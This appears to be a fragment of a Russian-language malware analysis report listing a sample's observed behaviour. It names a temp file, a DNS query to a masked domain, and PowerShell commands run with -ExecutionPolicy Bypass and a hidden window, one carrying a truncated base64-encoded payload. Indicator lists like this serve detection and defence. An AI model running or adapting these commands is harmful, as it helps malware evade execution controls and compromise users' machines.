Техническая информация
- %TEMP%\false.txt
- DNS ASK de####brat.com.br
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File %TEMP%\xwsrk.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -c "$Stringbase = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyIDtpZigoZ2V0LXByb2Nlc3MgJ1... (со скрытым окном)